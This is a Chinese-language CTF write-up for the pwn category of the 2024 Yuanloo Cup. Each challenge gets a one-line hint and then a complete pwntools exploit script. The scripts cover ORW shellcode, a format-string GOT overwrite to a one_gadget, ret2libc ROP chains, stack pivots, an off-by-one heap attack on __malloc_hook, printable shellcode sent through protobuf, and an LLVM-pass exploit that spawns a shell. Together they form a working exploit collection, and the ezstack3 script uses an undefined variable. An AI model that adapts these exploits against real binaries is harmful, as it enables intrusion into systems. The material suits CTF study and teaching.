2024源鲁杯pwn方向题解


round1

canary_orw

再次运行到vuln使得rsp增加,最后jmp rsp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 46543)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

vuln = 0x400821
pop_rbp_ret = 0x40081E
jmp_rsp = 0x40081B
check = elf.got['__stack_chk_fail']
main = elf.sym['main']

shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x601100, 0x30)
shellcode += shellcraft.write(1, 0x601100,0x30)

r.sendlineafter(b'journey', p64(vuln))
r.sendafter(b'Sea', b'a' * 0x8 + p64(check))
r.sendafter(b'magic', p64(0x40086D))
r.sendafter(b'go', p64(check) * 0x20)

r.sendafter(b'magic', p64(check))
r.sendafter(b'go', p64(check) * 0x20)

r.sendafter(b'magic', p64(jmp_rsp))
r.sendafter(b'go', p64(jmp_rsp) + b'\x90' * 0x30 + asm(shellcode))

r.interactive()

ezfmt

put_gotogg

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 39131)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

vuln = 0x4011FB
main = elf.sym['main']
puts = elf.got['puts']

p = b'%13$p'
p = p.ljust(0x28, b'\x00') + p64(vuln)
r.send(p)

r.recvuntil(b'0x')
libc = ELF('./2.31/libc.so.6')
libc_base = int(r.recv(12), 16) - 0x24083

one = [0xe3afe, 0xe3b01, 0xe3b04]
ogg = one[1] + libc_base

ogg1 = ogg & 0xff
ogg2 = (ogg>>8) & 0xffff
p = b'%' + str(ogg1).encode() + b'c%8$hhn'
p = p.ljust(0x10, b'\x00') + p64(puts) + b'a' * 0x10 + p64(vuln)
r.send(p)

p = b'%' + str(ogg2).encode() + b'c%8$hn'
p = p.ljust(0x10, b'\x00') + p64(puts + 1) + p64(0x4011EF) * 3
r.send(p)

r.interactive()

giaopwn

栈溢出返回到后门

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 31413)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

code = 0x601048
bd = 0x4006D2

p = b'a' * 0x28 + p64(0x0000000000400743) + p64(code) + p64(bd)
r.sendlineafter(b'YL', p)


r.interactive()

ezorw

禁用了很多系统调用,用openatmmapsendfile代替

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 44021)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

shellcode=shellcraft.openat(0,'/flag',0)
shellcode+=shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)
shellcode=asm(shellcode)

r.sendlineafter(b'orw', shellcode)

r.interactive()

ezstack

字符绕过,用$0代替sh

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 39602)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

bd = 0x401275
ret = 0x000000000040101a
p = b'a' * 0x38 + p64(ret) + p64(bd)
r.sendlineafter(b'stack', p)

r.sendlineafter(b'command', b"$0\x00")

r.interactive()

msg_bot

protobuf结构体逆向和可见字符shellcode,利用32位的open(即64位的fstat)

from pwn import *
from bot_pb2 import Msgbot
import grpc

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 0
if debug:
    r = remote('challenge.yuanloo.com', 21231)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

'''
push 0x66666963
pop rsi
xor qword ptr [rax + 0x20], rsi
push rbx
pop rdi
xor al, 0x22
push rax
pop rsi
push 0x66666963
pop rdx
push rbx
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
\x6c\x6c\x66\x66
'''

msgcontent = b'\x68\x63\x69\x66\x66\x5e\x48\x31\x70\x20\x53\x5f\x34\x22\x50\x5e\x68\x63\x69\x66\x66\x5a\x53\x58' + b'\x50' * 8 + b'\x6c\x6c\x66\x66'

msg = Msgbot()
msg.msgid = 0xC0DEFEED
msg.msgsize = 0xF00DFACE
msg.msgcontent = msgcontent
serialized = msg.SerializeToString()

r.sendafter(b'botmsg', serialized)

'''
mov  eax, 5
push ecx
pop  ebx
mov  dword ptr [ecx], 0x6c662f2e
add  ecx, 4
mov  dword ptr [ecx], 0x6761
xor ecx, ecx
xor edx, edx
int  0x80
'''

shellcode = b"\xb8\x05\x00\x00\x00\x51\x5b\xc7\x01\x2e\x2f\x66\x6c\x83\xc1\x04\xc7\x01\x61\x67\x00\x00\x31\xc9\x31\xd2\xcd\x80"
shellcode += asm(shellcraft.read(3, 'rsp', 0x30))
shellcode += asm(shellcraft.write(1, 'rsp',0x30))

r.send(shellcode)

r.interactive()

round2

ezstack2

栈溢出设置一参为0x114514之后直接劫持到vuln函数

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 47708)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

pop_rdi_ret = 0x0000000000400823
ret = 0x000000000040056e

p = b'a' * 0x38 + p64(ret) + p64(pop_rdi_ret) + p64(0x114514) + p64(0x400757)
r.sendline(p)

r.interactive()

shortshell

rbx里有地址,直接计算一下jmp过去

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 27490)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

'''
sub bl, 0x18
jmp rbx
'''

p = b'\x80\xeb\x1c\xff\xe3'
r.send(p)

r.interactive()

canary

控制maingiftrbp,利用gift读的长度大向mainret

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 37134)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

stack_check_fail = elf.got['__stack_chk_fail']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x00000000004013e3
puts_got = elf.got['puts']
ret = 0x000000000040101a

r.sendlineafter(b'functions?', b'0')

p = p64(stack_check_fail + 0xa00 - 0x50) + p64(0x401296)
r.send(p)

r.sendlineafter(b'functions?', b'0')

p = p64(stack_check_fail + 0xa00 - 0x8) + p64(0x401258)
r.send(p)

p = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(ret) + p64(0x401296)
r.send(p)

libc = ELF('./2.31/libc-2.31.so')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']

r.sendlineafter(b'functions?', b'0')

p = p64(0x404a28 + 0x48) + p64(0x401258)
r.send(p)

system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p = p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.send(p)

r.interactive()

magicread

栈迁移

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 40862)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

bss = 0x601a00
read = 0x400675
start = 0x400510
pop_rdi_ret = 0x0000000000400723
leave_ret = 0x0000000000400691
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

p = b'a' * 0x40 + p64(bss + 0x40) + p64(read)
r.send(p)

p = b'a' * 0x20 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start) + p64(bss + 0x18) +p64(leave_ret)
r.send(p)

libc = ELF('./2.23_11.3/libc-2.23.so')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']

p = b'a' * 0x40 + p64(bss + 0x40) + p64(read)
r.send(p)

bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
system = libc.sym['system'] + libc_base
p = b'a' * 0x20 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(start) + p64(bss + 0x18) +p64(leave_ret)
r.send(p)

r.interactive()

round3

Secret

直接nc连接输入SuperSecretPassword

ezstack3

栈迁移

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 32404)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

p = b'a' * 0x30
r.sendafter(b'stack3', p)

r.recvuntil(b'a' * 0x30)
stack = u64(r.recv(4)[-4:].ljust(8, b'\x00'))

shell = 0x8049347
addr = stack - 0x40
bin_sh = addr + 0x28
leave_ret = 0x08049185

p = p32(ret) * 8 + p32(shell) + p32(bin_sh)
p = p.ljust(0x28, b'\x00') + b'/bin/sh\x00' + p32(addr - 0x4) + p32(leave_ret)
r.sendlineafter(b'pwn', p)

r.interactive()

null

off-by-one

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('challenge.yuanloo.com', 37786)
else:
    r = process(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(index, size):
    r.sendlineafter(b':', b'1')
    r.sendlineafter(b'Index', str(index))
    r.sendlineafter(b'Size', str(size))

def edit(index, content):
    r.sendlineafter(b':', b'2')
    r.sendlineafter(b'Index', str(index))
    r.sendafter(b'Content', content)

def show(index):
    r.sendlineafter(b':', b'3')
    r.sendlineafter(b'Index', str(index))

def delete(index):
    r.sendlineafter(b':', b'4')
    r.sendlineafter(b'Index', str(index))

for i in range(9):
    add(i, 0x100)

for i in range(8):
    delete(i)

add(9, 0x30)
show(9)

libc_base = get_libc() - 0x3ebda0
libc = ELF('./2.27/libc-2.27.so')
malloc_hook = libc.sym['__malloc_hook'] + libc_base
ogg = 0x10a2fc + libc_base

add(10, 0xc0)
add(11, 0x20)

add(12, 0x18)
add(13, 0x20)
add(14, 0x20)

edit(12, b'a' * 0x18 + b'\x61')
delete(13)
add(15, 0x50)

delete(11)
delete(14)

p = b'a' * 0x28 + p64(0x31) + p64(malloc_hook) + b'\n'
edit(15, p)

add(16, 0x20)
add(17, 0x20)

edit(17, p64(ogg) + b'\n')

add(18, 0x40)

r.interactive()

show_me_the_code

llvm,用c++exp,由于opt-12保护机制是no pie所以可以获取其中的got表里的libc地址,直接打system('sh')

class edoc {
public:
    void addi(unsigned char x, int y, int z) {}                                 //regs[x] = y + z                                                       x <= 5
    void chgr(unsigned char x, int y) {}                                        //regs[x] += y                                                          x <= 5                  -0x1000 < y < 0x1000    onetime
    void sftr(unsigned char x, bool y, unsigned char z) {}                      //y = 1 : regs[x] << z;         y = 0 : regs[x] >> z                    x <= 5  y < 0x40
    void borr(unsigned char x, unsigned char y, unsigned char z) {}             //regs[x] = regs[y] | regs[z]                                           x <= 5  y <= 5  z <= 5
    void movr(unsigned char x, unsigned char y) {}                              //regs[x] = regs[y]                                                     x < 8  y < 8
    void save(unsigned char x, unsigned int  y) {}                              //*(y+regs[6]) = regs[x]                                                x <= 5  y <= 0x1000     y & 7 == 0      regs[6] & 0xFFF = 0     regs[7] = regs[6] + 0x1000
    void load(unsigned char x, unsigned int y) {}                               //regs[x] = *(y+regs[6])                                                x <= 5  y <= 0x1000     y & 7 == 0      regs[6] & 0xFFF = 0     regs[7] = regs[6] + 0x1000
    void runc(unsigned char x, unsigned int  y) {}                              //*(y+regs[6])(regs[x])                                                 x <= 5  y <= 0x1000     y & 7 == 0      regs[6] & 0xFFF = 0     regs[7] = regs[6] + 0x1000
};

edoc obj;

int c0deVmMain() {
        obj.addi(0, 0x442000, 0);       //getenv_got
        obj.movr(6, 0);
        obj.addi(1, 0x443000, 0);
        obj.movr(7, 1);
        obj.load(2, 0xad8);     //2 -> getenv_addr

        obj.sftr(2, 0, 16);
        obj.sftr(2, 1, 12);
        obj.addi(5, 0x400, 0);
        obj.borr(2, 2, 5);
        obj.chgr(2, 0xc00);
        obj.sftr(2, 1, 4);

        obj.addi(4, 0x3024, 0);
        obj.save(4, 0x1000);

        obj.addi(4, 0xd70, 0);
        obj.borr(2, 2, 4);

        obj.save(2, 0xb00);

        obj.runc(1, 0xb00);
        return 0;
}

  目录